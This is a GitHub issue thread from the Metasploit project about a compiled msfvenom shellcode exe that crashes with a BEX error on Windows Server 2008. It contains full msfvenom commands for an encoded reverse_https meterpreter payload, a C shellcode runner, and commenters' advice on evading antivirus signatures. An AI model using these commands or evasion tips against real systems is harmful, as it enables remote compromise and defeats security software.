metasploit-framework icon indicating copy to clipboard operation
metasploit-framework copied to clipboard

Compiling msfvenom 'c' output into exe gives BEX error on target when executed

Open ama21n opened this issue 9 years ago • 5 comments

Metasploit version

Framework: 4.14.28-dev

OS

kali: Linux kali 4.4.0-kali1-686 #1 SMP Debian 4.4.2-3kali1 (2016-02-23) i686 GNU/Linux

Issue:

I am trying to get a manually compiled exe (from 'c' code output) firing. I've done this many times before successfully, but on one system now, am running into a "Problem Event Name: BEX" error.

I'm testing on 2 systems:

  1. 8.1 Pro x64 - works fine, meterpreter fires successfully
  2. 2008 R2 Standard 6.1.7601 SP1 x64 - Fails to connect back, and gives "Problem Event Name: BEX" or "Buffer Overflow Exception" error

I'm testing with 2 exe's:

  1. Simple exe generated with: msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=$port R EXITFUNC=process -b '\x00\xff' -e x86/shikata_ga_nai -i 3 -f exe > run.exe This works on both test systems.
  2. 'c' output, compiled with '686-w64-mingw32-gcc run.c -o run.exe': msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=$port R EXITFUNC=process -b '\x00\xff' -e x86/shikata_ga_nai -i 3 -f c -o payload.txt

For testing purposes, run.c is set up simply as follows: #include <stdio.h> #include <windows.h> #include <tchar.h>

unsigned char buf[] = ... ... *insert payload.txt output here

int main(void) { ((void ()())buf)(); return 0; }

Further detail of BEX popup I am seeing on the 2008 target: Problem signature: Problem Event Name: BEX Application Name: run.exe Application Version: 0.0.0.0 Application Timestamp: 59b1f782 Fault Module Name: set.exe Fault Module Version: 0.0.0.0 Fault Module Timestamp: 59b1f782 Exception Offset: 00003020 Exception Code: c0000005 Exception Data: 00000008 OS Version: 6.1.7601.2.1.0.272.7 Locale ID: 3081 Additional Information 1: 0a9e Additional Information 2: 0a9e372d3b4ad19135b953a78882e789 Additional Information 3: 0a9e Additional Information 4: 0a9e372d3b4ad19135b953a78882e789

Read our privacy statement online: http://go.microsoft.com/fwlink/?linkid=104288&clcid=0x0409

If the online privacy statement is not available, please read our privacy statement offline: C:\Windows\system32\en-US\erofflps.txt

ama21n avatar Sep 08 '17 02:09 ama21n

Luke, use the markdown :-). This is actually more likely to be an AV grabbing you than the OS itself. If you're hoping to avoid sigs from metasms malformed PEs, I'd say use your own C harness.

sempervictus avatar Sep 10 '17 15:09 sempervictus

Addendum - a while back we added .net dynamic exe generation in a post exploitation context (find the PR, there should be a decent explanation of the mechanics in there). You may want to look at the inner code gen (skip the PSH wrapper dealing with CLR elevation and obfu), that seems to have avoided the AV cheap shots signing for our templates/their heuristic prints so far. If you go this route, please try to add some entropy prior to mass use as id really rather not have to add complexity in upstream to bypass sigs/heuristics (rarely find people even know this exists, which is probably why its stayed potent).

sempervictus avatar Sep 10 '17 15:09 sempervictus

I wonder if calling VirtualProtect (buf, strlen(buf), PAGE_EXECUTE_READWRITE, &oldProtect); before executing would help at all.

timwr avatar Sep 11 '17 02:09 timwr

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

github-actions[bot] avatar Jan 05 '21 15:01 github-actions[bot]

Hi again!

It’s been 60 days since anything happened on this issue, so we are going to close it. Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

github-actions[bot] avatar Feb 05 '21 15:02 github-actions[bot]